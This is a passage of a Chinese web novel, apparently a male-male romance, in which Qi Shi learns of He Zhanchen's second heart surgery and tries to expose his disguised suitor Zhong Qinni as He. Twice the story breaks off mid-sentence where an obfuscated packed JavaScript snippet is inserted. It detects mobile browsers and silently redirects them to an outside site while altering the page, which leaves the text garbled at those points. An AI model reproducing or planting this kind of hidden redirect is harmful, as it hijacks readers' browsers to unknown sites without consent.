嗯,也是,茉莉在分公司这边是万人之上的大姐大,可不就学会给他甩脸子了么。 他也懒得跟她计较。 将要入睡的时候,房门被大姐大敲得砰砰响。 大姐大说有重要的事找他。 他闭着眼不想动弹,说他现在放假,让她有什么事自行决断,要么就去找董事长。 “是三少动手术的事。” 他蹭地一下就掀被子跳起来,光着脚丫子跑过去开门,控制不住大嗓门问:“你说什么?!怎么不早说!” 她抬手一抹脸,深深埋头道:“三少说您情绪不是很稳定,不让我们告诉您。” “去他妈三少不让!”他破口大骂:“你听他的还是听我的!” 茉莉说,何湛程心脏病复发了。 在他拒绝陪何湛程去雪山庙里的那个凌晨。 何湛程被他那条绝情的消息刺激到了,人又执拗得过分,一边哭,一边拿茉莉手机给他打了好多电话、发了无数条信息轰炸他,他一个都没接,一条都没回复。 茉莉说,那天何湛程的脸色很苍白,天刚破晓时分,她和一脸沮丧的他往回走,但还没走到老爷子病房,他就倒下了。 临昏过去之前,他不忘拽她衣袖,让她不要告诉老爷子,怕老头儿担心。 宋院长确定病因后,说何湛程需要做心脏搭桥手术,但没想到何湛程态度强硬,拒绝在这里接受治疗。 这家医院私密性确实很好,但如果他在这儿,戚时就不会来了。 何湛程需要戚时在这里替他守着他爸。 在沪上其他医院也不行,因为他妈会听到消息,然后借口看儿子跑回国搅混水。 他们何家的水已经够浑浊了。 何湛程打电话找老二,说自己厌倦了在国内待着,于是何棣坤就开着私人飞机回来,按照老三的意愿,把人接到美国接受治疗。 戚时大闹泰华庆典的前一周,刚好就是何湛程开刀进手术室的日子。 当时留美念书的亲戚,无论关系好的还是差的,何厉风、何冲霆、陈北劲,还有何湛程的几个长期以来受他爸恩惠的远房叔叔和表姑,很早就被流放在外的、他爸和情妇们私生的几个小哥哥,在澳门赌得正欢的林翘楚,听到消息后,能抽空来的,基本都来了。 茉莉放心不下,那天也跟着跑了一趟。 何湛程在手术前后,一直念念叨叨着戚时,说,他想找戚时说说话,哪怕只听到戚时回复一个“喂”都行。 他就找林翘楚借手机,林翘楚无奈,说戚时早把她拉黑了。 何厉风和何冲霆他们也一样。 何湛程就求陈北劲,他知道戚时和陈北劲有生意往来,不可能轻易删电话,但陈北劲觉得自己一个外人插足他们俩人的事不太合适,就没给,导致何湛程养病期间情绪一直很低落,医生给他输液,开药、换药,何湛程也极其不配合。 何湛程恢复得很差,本该卧床疗养的第八天,毫无预兆收到吕薇消息,当场拔掉输液管,脱病号服,换一身羊绒围巾大衣和皮鞋,一边坐在车上给李天涯打电话解释求情,一边命令司机超速赶往机场,钟覃倪连夜赶回国替戚时处理烂摊子。 茉莉盼着何湛程能以另一种身份,可以在戚时身边多待一阵子,因此对戚时隐瞒了钟覃倪的真实身份。 她相信同样知情的董事长和她想得一样。 所以,整个故事就到“何三少恢复得很差”这里正式结束。 茉莉告诉戚时,小少爷很想念他。 就算是为了三少的身体着想,她希望下次小少爷打电话过来的时候,戚时可以接一下。 “虽然三少很年轻,做搭桥手术的风险很小,但他一年前就做过一次了。” “这是第二次搭桥,短短不到两年,他做两次心脏手术,医生说,他随时都会……随时……”茉莉说着说着就哭出声来,她哽咽几声,自知失态,连忙抬手擦掉眼泪,望着他恳求道:“戚总,三少脾气不是很好,他家里人都是惯着的,您……您如果也能迁就他些,您尽量迁就他些吧!” “只要您说让他按时吃药,配合治疗,他一定都听您的。” 戚时笑了声,笑声带着哭腔 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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他无奈,又连续发了几条好话,动之以情,晓之以理,求那位祖宗好好吃药,好好吃饭,好好听医生的话,千万别把自己身子不当回事。 何湛程回复了他满屏的、将近两千个“滚”。 戚时只好来到医院,从早到晚地守在老爷子病床前,算是远在天边的那个人尽孝了。 “这个你拿着。”老爷子咳嗽两声,费力地挪动着身子,从枕头底下摸出一个小布包,说:“湛程上周来看我了,他说把这个送你。” 戚时忙放下茶杯,道谢接过。 手指捏到布包的那一瞬间,他就反应过来这是什么了。 何湛程那条当命根子看待的护身符。 戚时愕然抬头。 “他说你喜欢到处找人认爹,”老爷子一说起家里那个毒舌小鬼头来,满脸浮起的皱纹都在笑,感慨道:“但是你认的爹,好像质量都不太行。” 戚时脸上唰地一红,果断否认:“没有,您别听他胡说八道。” “行啦,”老爷子笑道,“他那张嘴,饶得过谁啊?他还埋怨我呢,说我喜欢到处生儿子,正好可以跟你这个喜欢到处认爹的人凑一对儿。” 戚时有点懵逼:“啊?” 老爷子斜他一眼:“想什么呢,不是让我这个老人家跟你搞对象!” 戚时尬笑一声,说:“那不可能。” 老爷子:“他让我认你当干儿子。” 戚时险些从椅子上滑下去。 老爷子哼一声:“我知道他打什么如意算盘呢。” “你现在本身就和老大走得很近,外界也有很多人在猜测我们两家的关系,哪天我归西了,你来我墓前多哭两声,让人家都知道你是我何澜认得干儿子,以后在外头,你也算是我们何家的人了。” 戚时诚惶诚恐,忙说:“不,您不用理他,他就是想一出是一出的。” 老爷子眯起眼:“我这话既然说出来了,你不懂我什么意思么?” 戚时蹙起眉头,说:“我这是趁人之危。” 老爷子不甚赞同:“趁人之危怎么了?这世道本身就是弱肉强食,你也是生意人,出身草根,按理早就经过了很多风浪才对,怎么到头来还没他一个养尊处优的念书娃有魄力?” “儿子,咱们做买卖的,太讲良心可不行啊!” 戚时:“……” 老爷子吩咐:“下周老三会来,你把老大老二也都叫来,咱们几个开个小会,这事就这样定了。” 戚时心中一紧:“下周他来?” “嗯,好像说是要给一个小孩儿开家长会,先去你那儿,再来我这儿。”老爷子没好气地笑:“他说的时候吓我一跳,哎!湛程这个臭小子,我还以为他什么时候给我生出来个孙子呢,结果是别人家的小孩儿,害我白欢喜一场。” “或许吧,”戚时笑,“等他以后结婚了,凭他的精力,肯定是要生一堆的。” “以后的事,谁知道呢?”老爷子咳嗽两声,不抱期待地挥了挥手,“我反正是强求不动他们了,尤其是湛程,他只要能健健康康的过一辈子,我这个做父亲的就知足了。” 戚时:“会的。” 然后很有眼色地起身,扶着略显疲态的老爷子躺下,帮人调整好睡姿,再绕着床边,弯腰帮人一点点掖好被子,低声说:“何老,您休息吧,咱们明天再聊。” 老头儿惬意阖眼,正准备入睡,闻声霍地又睁开,瞪他一眼。 戚时连忙改口,冲人鞠了一躬,说:“干爹。” 老头儿:“这年头不兴叫‘干爹’了。” 戚时埋头又鞠一躬:“干爸。” 老头儿:“难听。” 戚时没忍住笑,说:“爸。” 老头儿满意了,一脸安详微笑地闭上了眼,随口道: “行了,儿子,今天就到这儿吧。” “我床头柜的抽屉里有两张黑卡,你自己拿去花,还有那一沓球鞋品牌代理人的名片,你也都拿走吧,以后看上什么鞋,直接打电话让他们给你送来,不用给钱。” 75.第75章 老爷子说,家里三个儿子各忙各的,只有戚时过来侍候的时间最长,真不真心,这么长时间了,他老人家能感觉得出来。 认戚时做干儿子,也并非全是何湛程的意思。 老爷子跟他半开玩笑:“你在,我反而更安心些。” 少年入世,青年发家,中年走上人生顶峰,晚年凄凉,老头儿今年七十六岁,前六十年的人生,万众瞩目,辉煌无限,他告诉戚时,他很知足。 “我没什么好可惜的,但是湛程还小,他或许懂,但心里还是接受不了,等见了面,你要多劝劝他。” “是。” “那小坏蛋难哄着呢,”老头儿说,“他脾气又倔,也就你的话,他还听点儿。” “好,我明白。” 老头子见戚时正襟危坐,不禁一笑,问他:“介意么?” 戚时笑:“这有什么的。” 老头子轻叹:“我知道你们现在不太往来了,可他总是念叨你,每次一说到你,那小坏蛋就一通叽里咕噜的,越说越哭,唉,真叫人心疼。” 戚时懂他什么意思,失笑:“我找过他了,他没同意。” 老头子无奈:“那没办法了,随缘吧。” 戚时也觉得没必要了。 不过他和何湛程联系方式还加着。 那天提出复合,他就把对方的电话、短信、微信,包括支付宝好友全加了回来。 除了第一次被人单方面吵过一次架,何湛程在两天后,主动给他发来一条“删了?” 他当时在洗澡,没看到,睡前给手机充电,才看到新一条消息提示。 “哦,没删。” 他很困,不想跟那人聊天,于是没回。 没想到第二天,同一时间,晚八点钟,何湛程又发一条:“删了?” 他那一次看到了,没吭声。 然后何湛程继续自言自语:“哦,没删。” 戚时:“……” 第三天、第四天、第五天……一直持续大半个月,何湛程每晚八点钟都会检查一遍:“删了?” 再自言自语:“哦,没删。” 直到现在,他们的聊天框,满屏都是何湛程一个人的自问自答。 戚时一开始怕对方伤心,想着要不要敷衍几句,但转念一想,如果何湛程真生气了,肯定会破口大骂他几句,然后甩他一句“爱回不回!” 戚时就没打破那一串完美阵型。 但两天后何湛程回国参加霜霜家长会,老爷子今天也暗示他了,戚时思来想去,决定还是回京接人一趟比较好。 他是先给何湛程发消息,确认对方肯坐他的车,才准备启程回京。 他: —周三几点到,我去接你? 何湛程: —是你接我,还是你派人来接我? 他: —有区别吗? 何湛程: —你接我,我就穿大衣,别人来,我就穿羽绒服 他没忍住笑了: —我接 —你身体不好,穿羽绒服吧 何湛程: —如果我一直生病,你会一直关心我吗? 他: —我会自杀 大概是被他吓到了,对方缓了很久,晚上才回复他: —对不起,我会好好吃药看医生 —你也好好的,可以吗? 他没回。 对方突然没头没脑来一句: —我在这边是一个人住,没有再交往过任何人,上一个管家我让他离开了,我打算招一个会说中文的新管家 他: —我要睡了,周三见 临走之前,戚时又跑来医院一趟。 趁着老爷子精神正好,他朝人打听江南这片有没有“钟”姓的大家族,因为他确定,就算看不到钟覃倪的脸,单听口音,对方一定是南方人。 而但凡在南方有头有脸的豪门世家,何老爷子最熟悉不过。 老爷子想也不想,一口咬定:“没有。” 戚时心里咯噔一下。 具体咯噔什么,他也不清楚,只知道钟覃倪肯定是个骗子。 他忍不住再确定:“您确定吗?” 老爷子斜他一眼:“你质疑我?” 戚时低头:“不敢。” 老爷子好奇问:“你想打听谁?” 戚时:“有个叫钟覃倪的人,他身份很神秘……” 老爷子突然笑起来,问他:“钟覃倪?” 戚时认真点点头。 老爷子:“你的追求者?” 戚时有点不太好意思,说:“您怎么知道?” 老爷子翻了个大白眼:“你说他是南方口音?” 戚时:“是。” 老爷子笑:“那我就不知道了,可能是哪家的公子哥儿身份不方便透露吧,嗯,年轻人的圈子,我老人家不太懂,你可以去问问湛程他们。” 戚时有些抵触老头儿动不动撮合他和何湛程。 于是说:“那算了。” 回京之后,他又跑去找了吕薇和他哥,还去精神病院走了一遭。 内心总有一种直觉,他说不上来。 他算过了,钟覃倪出现的时间,是何湛程动手术的第八天。 那个时候,何湛程本该虚弱地在躺着病房里打点滴,行动能力有限,更不可能大老远跑回国替他处理这么多事。 二人身份重合的概率微乎其微。 可他还是忍不住。 他找每个人都调查一番,问他们钟覃倪长什么样子? 吕薇说:“不太雅观。” 他哥说:“随便评价别人的外貌不太文明,但那位长相确实有点抱歉。” 医生护士们也连连摇头:“不太好看。” 他心灰意懒,离开医院时,不小心撞见了那个经常拿着不锈钢勺、跑到他房门外刮地板的疯子。 那疯子其实也不算疯,二十来岁,长相清秀,头发梳理得一丝不苟,衣服也被熨烫过,干干净净的,仔细看还很有气质。 就是脸色苍白,行为也有些怪异,整天叽里咕噜的说些奇怪话,若是谁冷不丁和他对视一眼,就会察觉他的眼神有一种诡异的空洞。 听护士长说,别看他年轻,他可是这里的老人儿了。 土生土长的京城人,据说是个品学兼优的小少爷,十七岁早恋谈了个男朋友,第一次和对象出去睡酒店,被他家里人发现了,然后就被送去了戒同所,他逃了几次,没能成功,后来在里面疯了,拿刀捅死了侵|犯他长达半年的教官,他家里人追悔莫及,找了点门路帮他脱罪,在法院,他被正式确定为“精神病人”,然后就来到了这里,一待就是十年。 护士长说,他很臭美,表现好的话,他们就会奖励他一瓶很贵的发胶。 护士长笑:“你当时觉得很吵吧?他每天早上打扮好了,一趁我们不注意,就拿着勺子跑来吸引你的注意。” 戚时:“……” “他说你被困在里面了,他要挖地道把你救出来。”护士长笑道:“他其实还挺温暖的吧?” 戚时有点动容,偏头看了那疯子一眼。 这人是因为知道他是被打残了关进来的,才要把他救出去吧? 那疯子今天拿的是一堆小人鱼贴纸,大冷的天,好像是听说他回来了,这疯子穿了件单衣就跑出来了。 他没和戚时对视,一脸安详地蹲在走廊的地上,冻得通红发紫的手,稳稳地捏着一沓贴画,不断低头,又抬头,一张张往墙上贴。 戚时询问无果,和护士长道别过后,转身离开。 然后身后突然传来询问:“姐姐,那个照顾他的漂亮哥哥怎么没一起来呀?” 戚时蓦地止住步子,霍然回首,见那疯子一脸漫不经心地还在贴贴画,他猛地疾步冲过去,抬手大力板过对方肩膀,逼人和自己对视。 戚时沉声问:“谁?谁漂亮?!” 疯子皱了皱眉,扭脸望向护士长求救:“姐姐,他捏疼我了。” 护士长连忙挡在那疯子身前,笑道:“他说的是宋演宋先生。” “那阵子,他天天跑来捣乱,宋先生嫌他碍事,私下没少治他,因此他对宋演先生印象很深刻。” 戚时“哦”一声,缓缓抽回手,和那疯子对视一眼。 疯子没理他,哼着歌儿继续贴贴画去了。 他抿了抿唇,低头对人说了句“抱歉”,头也不回地离开了。 心里却不太相信。 宋演? 宋演一米八|九的傻大个儿,浓眉大眼鹰钩鼻,一身腱子肉,典型北方爷们儿的粗犷长相,帅是帅,哪里跟“漂亮”沾边儿? 漂亮,当属于那种精致到连每一根睫毛卷翘的弧度都认真设计过、每年会花上百万去护理那一头蓬松短发、每一寸肌肤都毫无瑕疵嫩滑如水、每一根脚趾都雪白可爱如珍珠、连脸庞绒毛都散着淡淡香味的、笑起来又乖又甜、在床上发一声嗲就能把他浑身骨头都叫酥了的江南少爷。 可是怎么会呢? 钟覃倪是一个那么温柔成熟的男人,何湛程是一个那么任性不懂事的小混蛋。 一个是让他感到惬意心安的倚靠,仅仅在一间屋 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15801166|168801||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里陪在他身旁坐着说话,就能令他忘却世间所有的烦恼事;另一个是令人迷醉致幻的毒瘾,是疯狂、激情和性,是勾起他无限欲望和痛苦的冤家,两个人怎么可能会重合到一起? 戚时回家路上,直接拨通了钟覃倪的电话。 其实在上个月住院期间,他和钟覃倪打过几次电话。 当时他情绪很差,一个每天坚持跑跑跳跳的健身达人,长达一个月躺着床上动不了,来来往往伺候他的还是同龄人,一群人帮他上厕所、擦身子、喂饭,毫无隐私可言,令他倍感屈辱和痛苦,好几次差点忍受不下去,想着,要不这辈子就这样算了。 有天夜里宋演听到他哭,问他要不要给钟先生打电话,他当时都快忘了有钟覃倪这个人,迟缓的大脑一时没反应过来,宋演就已经拨通了电话。 钟覃倪其实也没说什么特别的,就问他是不是做噩梦了,哄小孩似的,给他分享了几件小时候的趣事。 钟覃倪说,他七岁的时候出去玩,路过一条商业街,他趁着家人不注意,一溜烟儿跑去把整条街的奔驰和劳斯莱斯车标都给人家拔了,害得第二天那群车主找上门要说法,幸亏他家里有钱赔得起,不然他爸就要把他送给人家抵债了; 还有十二岁的时候,他和家里最骚的那个哥哥去参加国际拉丁舞比赛,虽然从他六岁起就和哥哥是搭档了,但是哥哥老是欺负他,每次趁着比赛都故意踩他脚,踩得他很痛,哥哥就吃准了他乖,不敢在关键场合闹事,但是那次他气急了,轮到总决赛,他顾不得什么金奖杯了,偷偷往他哥哥的水杯里下了足足两包泻药,害得他哥哥在比赛的时候差点当场拉出来。 戚时笑得胸骨疼,说,你真坏。 钟覃倪也笑,又问他有什么想吃的、想玩的,或者想去的地方。 他说想去海边,潜水,看日落,还有,他有生之年还想去坐一趟热气球。 钟覃倪说好。 钟覃倪还提到果汁儿,说,他听说了很多关于果汁儿的事,问他是不是真的?他说是,钟覃倪笑声很轻,就和他做下约定,等他病养好了,他会陪他一起把果汁儿从宠物医院里接回来照顾。 一整夜的闲聊,他好受了很多,在后来二人的联系里,他提了好几次,问钟覃倪要不要和他交往,对方再三强调自己的丑,他说没关系。 一来一往,无数次反复,最终钟覃倪还是不放心,说,很怕戚时骗他。 戚时无奈,也就没再坚持。 只问了对方,他们下次见面是什么时候? 钟覃倪说,随时都可以,但不能超过一周,不然他工作堆积太多,忙不过来。 戚时就打电话,让钟覃倪这周三来京城找他。 戚时觉得他不算特别笨。 要确认钟覃倪身份还不好说么? 只要何湛程和钟覃倪能够在同一个时间段内同时出现,这俩人就不是一个人。 如果不能,那—— 戚时心脏紧了紧,攥紧电话,等待钟覃倪回复。 “一定要这周三么?”对方似乎也察觉到什么,没有立刻拒绝他,只说:“我最近有点累,想休息休息,你如果没什么要紧事的话,下周见面可以吗?” 戚时口气不容置喙:“不行,我想你了,你不想我么?” 钟覃倪顿了顿,语气温柔许多:“想的,戚时,我很想你。” 戚时:“那好,你不是很好奇我前任么,周三晚八点,我定了餐厅,我们三个一起吃个饭吧。” 钟覃倪:“…………” 垂死挣扎道:“大哥,你认真的么?” 戚时嘴角一翘,问道:“怎么,做不到?还是根本就没办法做到?” 钟覃倪冷哼一声:“我的意思,谁会拉着现任和前任一起吃饭,你不觉得很变态么?” 戚时不以为然:“不觉得啊,而且你也没答应和我交往,算现任么?” 钟覃倪立刻借题发挥:“你要这样说的话,我不去了。” 戚时根本不吃这套,威胁道:“你要这样说的话,我就要怀疑你心里有鬼了。” 钟覃倪皱眉:“你怎样?” 戚时“呵”一声,宣布道:“下回就算你找二百个保镖摁住我,我也要摘遮眼布!” 钟覃倪火气蹭地一下冒上来,正忍不住要破口大骂你这狗改不了吃屎的大骗子!下一秒,一计横生,那怒意又哗啦一声灭下去。 “行,”他笑了,“我去。” 戚时有点不敢相信,心里既期待又忍不住失落,问:“真的?” “真的,不就是见个面么,”他笑声温柔,“如果你能做到,我就能做到。” 76.第76章 周三是12月25日,圣诞节的前一天。 霜霜家长会是下午两点开始,何湛程的飞机是早上六点落地,中间隔了足足八小时,不知道非要到这么早干什么。 戚时莫名很焦虑,一整夜没睡,早上起来吃了两片止疼药,凌晨五点就抵达首都机场,然后找好停车位,在后座放了两个大容量加湿器,把车内暖风开到最大,拎了个从衣柜里随便拿的、用来装外套的爱马仕手提袋,进去里面找餐厅定位子。 外面天黑漆漆的,寒风凛冽刺骨,眨眼间漫天飘起鹅毛大雪,大厦建筑每层楼都亮着灯,他经过落地窗,扭头看窗外雪花簌簌坠落在寂静的夜光里,外面是来来往往推着行李箱的旅客,接机的亲属朋友们捧着鲜花和礼物,一脸笑意地朝他们迎上去。 戚时凝眸盯着面前的玻璃镜,镜子里倒映着一张让他有些陌生的削瘦男人的脸。 好像…… 他神游一般,抬手摸了摸自己遍满胡茬的脸,笑了声。 好像有点老了。 在一家粤味茶餐厅里定了位置,点了几道那人爱吃的菜,抬手看一眼表,五点四十。 等人来了,刚好能吃上热乎的菜。 脱掉外套放到旁边座位,他站起身,准备去隔壁美容店刮个胡子,服务员笑盈盈地走来,热情向他推荐圣诞优惠活动:办卡充值满五千元附赠会员八五折优惠,外加一份价值五百元的圣诞礼品。 戚时笑:“这是最贵的套餐吧?” 服务员也笑:“有礼品哦~” 戚时问:“礼品是什么?” 服务员:“我们店推出的圣诞盲袋,五种礼品随机赠送。” 戚时想了想,说:“那行,等会儿我朋友来,他要觉得你家的菜好吃,我就办一张。” 服务员笑着点头:“好的。” 戚时瞥她一眼,抬手伸出五指:“要是他不喜欢,你送我五份不重样的盲袋。” 服务员干笑两声,说:“好,但是不重样有点儿的困难,因为我们也不清楚这些盲袋里装得东西是不是同一件。” 戚时不屑一笑:“怎么不清楚?看当然看不出来,摸还摸不出来么?” 服务员:“摸?” 戚时:“对啊,你多摸两——” 话音一顿,他整个人卡住似的,大脑突然闪过些什么。 服务员点点头,笑道:“我尽量。” 戚时前一脚才刚迈入美容店,何湛程发来位置共享: —我到了,你在哪儿? 戚时没来得及,转身跑回去餐厅拿手提袋,然后一溜烟儿坐电梯下楼去接机口。 这个时间点儿落地的旅客也不少,戚时穿梭在来往人群里,周遭路人眼花缭乱的,看得他脑袋有点疼。 正要拨电话打过去,嘈杂人群里突然响起一声脆生清亮的呼喊: “二哥!” 戚时心脏猛地一抽,扭身回头朝对方望去。 零下二十度的北方寒冬,那位时尚达人想必有钢铁般的意志,始终坚定不移地走着潮男路线,一如既往地要风度不要温度。 束领黑毛衣配九分修身西裤,颈间拴着条闪烁镶钻银项链,外套深灰羊绒大衣配脚底LV纯白球鞋,头发显然也做过造型,清新干爽的三七分,浓眉俊目,粉红薄唇,不知何时在右边耳骨新打了两个洞,雪白的耳朵戴着两圈耳骨钉,在这个风流惯犯身上显出几分莫名的禁欲。 风流惯犯表面上看起来十分清纯,他像个青春洋溢的男大学生,一米八八的大高个子,左手抱着一大束玫瑰花,右手扶着行李箱提手,正站在人群里冲他弯眼笑。 不,不是像。 人家本身就是个才二十岁的青春男大学生。 戚时愣了一下。 他们多久没见面了? 对方在他眼里早已没有了恋人视角的可爱,只剩下一眼欣赏到的、很直观的精致帅气。 何湛程站在原地等他两分钟,为了凹造型,脸都快笑烂了,最后实在忍不住,冲人喊:“过来啊!你不是来接我的吗!” 戚时“哦”了一声,后知后觉地朝人走过去。 接过对方轻巧的行李箱,递上装得鼓囊囊的手提袋,说:“换上吧。” 何湛程笑眯眯地接过,又把花束递给他,问:“什么呀?” 戚时接过那一大捧极具分量的玫瑰,随口道:“衣服。” “废话,我当然知道是衣服。” 何湛程轻哼一声,低头拆开爱马仕的手提袋,发现里面是件羽绒服—— 分手前丢在戚时那里的,他自己的、旧的羽绒服。 满怀期待的心立刻被这不解风情的狗男人撕碎成稀巴烂。 何湛程满脸阴沉沉地把羽绒服塞回去,说:“我不冷。” 戚时皱眉瞥他:“鼻子都冻红了,还不冷?外面下雪呢,在我面前还臭美什么?快穿上!” 何湛程小眼神上下瞟他一眼,问他:“还说我呢,你不也臭美么?” 戚时:“……” 虽然今早上忘记刮胡子,但这身搭配是昨天夜里闲着没事干就准备好的。 拉夫劳伦的皮鞋,笔挺修长的西裤,熨烫服帖的白衬衫搭一条藏蓝格纹绸缎领带,黑西装外套着及膝的毛呢大衣,抱玫瑰花的手上,是一只浪琴康卡斯的腕表。 何湛程笑眯眯仰起脸,问他:“二哥,喜欢我送你的花吗?” 戚时敷衍了声,拉着他行李箱就往电梯方向走:“走吧,先去吃早饭。” 何湛程笑容淡下去,默不作声地跟在人旁边,和对方并肩走着。 戚时随口问:“最近身体怎么样?好点儿了吗?” 何湛程埋着头:“好多了。” 戚时点点头:“好多了就好,出门在外,有什么困难不方便跟家里说的,尽管跟我开口,我们分手归分手,情分还在。” 何湛程灰败的心一听这话,忍不住又燃起几分希翼。 他挪着步子,歪头往戚时身旁靠了靠,两只手伸过去,想要去挽住身旁人的手臂。 “但是以后就别喊我‘二哥’了,”戚时淡淡道,“你二哥是何棣坤,我这个外人总顶着这个名头,不太合适。” 何湛程抿了抿唇,伸出去的双手又垂下来,说了句“好”。 饭间入座,五道精致早茶,一例营养浓汤。 菜上齐后,戚时把花束和行李箱放在饭桌旁,说,他去趟隔壁美容店刮个脸,让何湛程先吃着,不用等他。 何湛程没吭声,坐在原地,安静地注视着戚时的背影消失在餐厅门口,然后低下头,拿着筷子守着面前的空碟子发呆。 一个多小时,他坐在位置上等,等得喉咙酸涩,等得肚子咕咕叫,等得眼眶越来越来红,几次拿起电话,又数次放回去,周围顾客纷纷议论着扭头看他,服务员也过来了好几次,问他需不需要帮助,眼泪不知何时流了下来,滴滴答答,断线的珍珠一样,噼里啪啦全砸落进空碟子里,直到戚时回来了、菜也全都凉了,他才终于笑出声。 戚时没好气一笑:“你是不是傻?” 那人走过来坐到他身边,一边扯纸巾给他擦眼泪擤鼻涕,一边催着他赶紧把羽绒服换上,省得再冻着了,然后招手叫来服务员,让人把菜全部重新热一遍,碟子也全换新的。 一顿饭吃得还算开心。 他要求和戚时换座位,他坐外面,把戚时堵在卡座里面,这样对方就跑不了了。 戚时说,他有点神经。 但如果放在以前,戚时只会满眼温柔地称赞他:“真可爱!” 饭后,服务员走过来,一脸笑意地问他觉得菜品如何? 他点点头,说:“还不错。” 戚时起身就办了张会员卡。 然后随手把那张卡、和餐厅赠送的圣诞盲盒袋递给了他。 戚时说,这次出来一趟,没给他带什么礼物,干脆就送他张饭卡好了。 谁家老情人分手后的首次圣诞礼物送机场餐厅的折扣卡啊? 他收下了,莫名总想哭。 动手术住院期间,他一个人躺着病房里,日复一日,扭头望着窗外枯燥的风景,忍受着寂寞、思念和疼痛。 第二次做搭桥手术,他胸前又一次被留下一条长达15cm的疤痕,医生告诉他,他们已经尽力了,但他胸腔内外再经不起任何开刀的风险,哪怕是全球最好的整形科医生,这次都没办法像第一次那样帮他的伤口修复如初。 他很崩溃,每天都在冲身边的人摔东西发脾气,拒绝吃饭、拒绝吃药,拒绝那些试图靠近他的、拿着数不清的钱却只会说着冠冕堂皇套话的、没用的医生们! 他不停地抱着镜子照,一遍遍用挑剔目光审视着他曾经引以为傲的、线条薄薄起伏着的胸膛,他摸着自己手感光滑如绸缎一样的皮肤,还有,竖在他胸前的、一辈子都抹不掉的丑陋疤痕。 终于再次见面,他有很多委屈和撒娇的话想对这个人倾诉,以何湛程的名义,任性无所顾忌地大哭一场,理直气壮地向这个人索求安慰,但他已经没资格再说出来。 何湛程低着头,硬生生将许多话咽下。 二人刚坐上车,戚时突然想起来什么似的,懊恼一拍脑门,低骂一声。 何湛程终于回过神儿,一边系着安全带,扭头问:“怎么了?” 戚时有些歉意地看他一眼:“何湛程,我忘记拿花了。” 何湛程,我忘记拿花了。 何、湛、程。 他扯扯嘴角,强颜笑道:“没事儿,反正你见过了就行。” “大冬天的,又下着雪,那花就算拿出来也都冻坏了,还不如放他们餐厅里多活几天。” 戚时认真思考了一下,然后说:“有道理。” 何湛程笑意愈深,“嗯”了一声,突然又特别想一拳头锤死这个大傻逼。 戚时提前帮何湛程在霜霜学校旁边的酒店订了房间,回京路上闲聊,他假装不经意地提起钟覃倪,说,钟覃倪是自己目前正在追求的人,然后瞄眼观察着副驾上某人的反应。 何湛程脸上流露出恰到好处的伤感和嫉妒,低垂着眉眼,有些兴致缺缺:“哦。” 戚时突然问:“你原来学过拉丁舞啊?” 何湛程挑眉诧异:“什么拉丁舞?谁学拉丁舞?” 戚时说了句“没什么”,然后当着何湛程的面儿,拨通何棣坤电话。 何湛程轻哼一声,伸手从衣兜里掏出小梳子,一脸悠哉地照着座驾前的镜子梳刘海。 那边何棣坤秒接,一通哀嚎,声泪俱下:“弟夫!你终于肯理我了!” 戚时直奔主题:“你和你们家老三小时候去参加拉丁舞比赛,是因为什么原因就弃赛来着?” 何棣坤一脸懵逼:“啥?啥比赛?” 戚时皱眉:“你没学过跳舞?那天在游艇上吹萨克斯的时候,你那步子踩得一看就是专业的,你别跟老子说你没学过!” 何棣坤大叫冤枉:“弟夫,你要允许这个世界上有天赋异禀的人存在啊!” 戚时不耐烦地挂断电话。 然后偏过脸,凝眸将副驾上的人打量了会儿,突然喊他:“钟覃倪!” 副驾上的人孜孜不倦地照镜子臭美,好半晌才反应过来。 何湛程有点无语地扭脸问他:“你有病啊?” 戚时烦躁地抓抓头发,没理他。 抵达酒店的时候,戚时仍不甘心。 他记得钟覃倪的胸肌很大,是那种成熟年长者男性独有的饱满结实,于是一停好车,他就飞快跑去副驾帮何湛程开车门,伸手去扶对方:“来,小心。” 何湛程忍不住一笑,说了句“谢谢”,才刚把手搭在对方掌心,戚时出其不意,突然伸出一只攻击性极强的咸猪手,摁在他胸前就一通上下左右的虎摸揉弄。 摸完,不禁蹙起眉:“怎么隔着羽绒服还有点薄?” 何湛程:“……” 下一秒,怒极反笑,他唰地一下就抽回手,抬脚狠狠踹人屁股上,骂道:“滚啊!臭流氓!你都有新欢了还随便摸我,有病吧!” 戚时也有点尴尬,连忙道歉:“不好意思。” 何湛程瞪他:“这一路没完没了地发神经,你到底想干什么?!” 戚时叹了口气,他自己也无奈,就把他觉得钟覃倪和何湛程有点儿像这件事讲给何湛程听了。 何湛程淡淡“哦”一声,双手抱臂,瞥他一眼:“所以呢,你到底是希望我俩是一个人,还是不希望啊?” 戚时被这话问倒了。 他眼底闪过几丝困惑,然后诚实地摇摇头:“我不知道。” 何湛程哼一声,挥手推开他,自己跑去后备箱搬行李箱。 戚时跑过来帮忙,趁机道:“晚上八点我订了餐厅,我们仨一起吃个饭吧。” 何湛程拖着行李就往酒店里走,满脸不太高兴:“不去!我是自虐狂么?我为什么要跟你的新欢吃饭?你俩吃完饭就去滚床单了,我呢?难不成你和他滚床单也打算叫我一起么?” 戚时有点急躁,也有些生气,何湛程这嘴跟淬了毒似的,挤兑起人没轻没重的,平时冲他戚老二阴阳怪气也就算了,这次连钟覃倪都羞辱上了,这让他心里很不舒服。 但这人刚做过手术,戚时又不好说太重的话命令他,于是再次追上去,解释道:“你想多了,是我追求人家,他没同意,等咱们吃完饭,我就送他回去了,不会干别的。” 何湛程霍地扭头瞪他,大声嚷嚷道:“你送他回去?哼!你送他回去,那我怎么办?!我可是为了你才去和他吃饭的,难不成你完事儿 